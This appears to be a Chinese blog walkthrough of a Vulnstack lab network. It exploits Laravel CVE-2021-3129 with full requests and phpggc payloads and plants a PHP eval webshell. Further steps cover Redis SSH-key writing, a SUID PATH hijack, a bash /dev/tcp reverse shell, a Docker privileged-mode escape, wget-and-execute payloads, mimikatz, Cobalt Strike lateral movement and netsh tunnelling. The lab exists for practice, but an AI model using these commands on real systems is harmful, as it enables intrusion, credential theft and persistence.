环境搭建
源码下载http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
靶场wphttps://www.freebuf.com/articles/network/264560.html
域用户信息
域用户账户和密码如下:
- Administrator:Whoami2021
- whoami:Whoami2021
- bunny:Bunny2021
- moretz:Moretz2021
Ubuntu 1:
- web:web2021
Ubuntu 2:
- ubuntu:ubuntu
通达OA账户:
- admin:admin657260
信息搜集
首先对桥接出来的ip进行扫描
发现存在81端口,访问81端口。
发现是laravel。于是尝试CVE-2021-3129
关于Laravel漏洞 https://whoamianony.top/2021/01/15/漏洞复现/Laravel/Laravel Debug mode RCE(CVE-2021-3129)利用复现/
首先情况laravel.log
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.0.108:81
Content-Type: application/json
Content-Length: 328
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
用phpggc生成序列化后的payload
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
先加后缀
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.0.108:81
Content-Type: application/json
Content-Length: 163
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "AA"
}
}
然后
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.0.108:81
Content-Type: application/json
Content-Length: 4770
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=72=00=2B=00=41=00=51=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=49=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=67=00=70=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=4B=00=45=00=4B=00=37=00=6D=00=45=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=46=00=46=00=39=00=70=00=54=00=70=00=59=00=71=00=33=00=4A=00=66=00=38=00=43=00=4C=00=59=00=56=00=67=00=5A=00=67=00=6C=00=55=00=33=00=57=00=57=00=31=00=32=00=34=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a"
}
}
最后消掉其他字符,只留下phar文件
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.0.108:81
Content-Type: application/json
Content-Length: 299
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
然后触发反序列化
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.0.108:81
Content-Type: application/json
Content-Length: 210
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
}
}
重复操作写入shell.php
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
然后蚁剑连接。
通过简单信息搜集发现我们处在docker容器中
所以接下来想到逃逸docker,首先要提权。官方文档中提到了Linux环境变量提权,我们直接使用find命令来搜索具有SUID或4000权限的文件:
find / -perm -u=s -type f 2>/dev/null
可以看到有一个奇怪的shell文件,它具有SUID权限。
发现了这个文件其实就是执行了一个ps
可以看到shell文件执行了ps命令,并且未使用绝对路径,所以我们可以尝试更改$PATH来执行我们的恶意程序,从而获得目标主机的高权限shell。
我们反弹shell发现根本ping不通我们的vps。这里的docker环境是不出网的
docker反弹shell哪里,不论是一句话或者是msf反弹shell,都会对外建立一个通信端口,但是这个端口没被docker代理,所以反弹不出来。
Redis未授权访问
我们想起还有一个开放的6379端口。看看能不能利用
发现存在未授权访问。于是尝试写入ssh公钥。
先在攻击机上生成ssh公钥
ssh-keygen -t rsa
(echo -e "\n\n"; cat /home/kali/.ssh/id_rsa; echo -e "\n\n") > foo.txt
将公钥导入foo.txt里
cat foo.txt | redis-cli -h 192.168.0.105 -p 6379 -x set hello
将foo.txt打入redis缓存中
config set dir /root/.ssh
config set dbfilename authorized_keys
save
注意要用root,否则不行
拿到shell发现查看ifconfig
查看nginx配置。发现这是一台反向代理服务器。所以刚才不能弹shell
所以81端口只能反弹shell到这台ubuntu里。
反弹以后suid提权。
反弹shell以后操作
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
拿到root权限,再次反弹到ubuntu1中
bash -c "bash -i >& /dev/tcp/192.168.52.10/11451 0>&1"
因为这个是个docker容器,因此要进行docker逃逸。
特权模式逃逸
原理
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载
漏洞利用
fdisk -l #查看磁盘文件
ls /dev #查看设备文件
有三个磁盘文件和N个设备文件,我们将/dev/sda1挂载到自己创建的文件夹
mkdir hello
mount /dev/sda1 /hello
ls /hello
挂载成功。因为ubuntu不好写计划任务反弹shell。因此写ssh。
ssh-keygen -f hello #生成密钥对
把生成的pub文件内容写到公钥里去
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE39KBOwyYCuOlxqBunm5cGJVQmEhUSQsmtjrcvSRc6MwBmsJouqxS+bUZA2zSwlX6gHYFUOA2yfeuvzU835ZwLferw8QSDe29BKgHtAR/x4x7vYB/FLl2QDV1WeFZNzxFmyDypCAwbFyZayGPmhuNkMenMmdHlPRlGM5dtMGv0DHiaokbTIjuPYR4DIqr05egT2b8j5kmI5i9LNNJ3s97w+69Deor0XbowWNs97ot6ZbmJO3AEInw5yoU/Em4wlTt/hcAEgGMB8mbHzvVb2Myi0DFNPn/ZME4qM9RiuVIlQ33+M3rBnob3gD/ww8xRsVtu2RpxVeGmClzTv/EsWzH root@ubuntu' > home/ubuntu/.ssh/authorized_key
登录
ssh -i hello ubuntu@192.168.52.20 #用hello私钥登录
登录后发现有93网段,怀疑是内网网段
此时的内网拓扑图
内网渗透
内网渗透首先要上线外网机器。首先上线redis打下来的服务器。
本次使用VIPER框架
然后添加内网路由.
同时上线web2,传文件的时候先在web1上开启http服务
wget -qO shell1 http://192.168.52.10:8000/2.elf;chmod +x shell1; ./shell1 disown
然后对93网段进行netbios扫描
扫描结果
192.168.93.30 WHOAMIANONY/DC
Windows Server 2012 R2 Datacenter 9600|Windows Server 2012 R2 Datacenter 6.3|
Build Number: 9600
Major Version: 6
Minor Version: 3
Ntlm Current Revision: 15
Names:
DC G Workstation Service
WHOAMIANONY G Domain Name
WHOAMIANONY G Domain Controllers
DC U Server Service
WHOAMIANONY U Domain Master Browser
Netbios Item:
NetBIOS domain name: WHOAMIANONY
NetBIOS computer name: DC
DNS domain name: whoamianony.org
DNS computer name: DC.whoamianony.org
DNS tree name: whoamianony.org
Time stamp: 2022-01-24, 22:09:49
-----------------------------------------------
192.168.93.40 WHOAMIANONY/PC2
Windows 7 Professional 7601 Service Pack 1|Windows 7 Professional 6.1|
Build Number: 7601
Major Version: 6
Minor Version: 1
Ntlm Current Revision: 15
Names:
PC2 G Workstation Service
WHOAMIANONY G Domain Name
PC2 U Server Service
WHOAMIANONY G Browser Service Elections
WHOAMIANONY U Master Browser
__MSBROWSE__ - -
Netbios Item:
NetBIOS domain name: WHOAMIANONY
NetBIOS computer name: PC2
DNS domain name: whoamianony.org
DNS computer name: PC2.whoamianony.org
DNS tree name: whoamianony.org
Time stamp: 2022-01-24, 22:09:50
-----------------------------------------------
发现两台机器,其中30机器为域控机器。对这两台机器进行MS17-010
通达OA
访问发现
经过测试发现是个通达OA,经测试其版本为通达OA V11.3,该版本存在任意用户登录、文件包含和文件上传等多个漏洞。
https://blog.csdn.net/szgyunyun/article/details/107104288
照着操作抓包登录。
接下来就不演示了,这里直接上线。主要是为了学习一下不出网主机如何上线
这里PC2是不出网的,我们看看这台PC2如何上线。
参考https://xz.aliyun.com/t/8671
1.SMB beacon
使用条件
1.具有 SMB Beacon 的主机必须接受 445 端口上的连接。
2.只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
3.利用这种beacon横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。
使用方法
web服务器上线cs,run mimikatz抓取密码
https://blog.csdn.net/m0_38036918/article/details/122240035 简单的使用示例
Administrator下选择run mimikatz
然后可以得到密码信息
之后创建SMB beacon
使用jump psexec PC2 SMB
横向移动到PC2上。
配置listener通过HTTP代理上线
这次学习一下使用goproxy搭建代理
https://github.com/snail007/goproxy/releases
上传proxy.exe后执行
shell C:\test\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon
用netsh命令把外网ip的8080端口转发到内网ip的192.168.204.188的822端口(必须为未使用的端口,否则会失败),web服务器的80端口被占用,不能使用
shell netsh interface portproxy add v4tov4 listenaddress=192.168.93.20 listenport=822 connectaddress=101.34.177.35 connectport=8999
如果要查看端口映射
netsh interface portproxy show all
检测端口是否启用
netstat -ano | findstr :822
创建listener
然后即可上线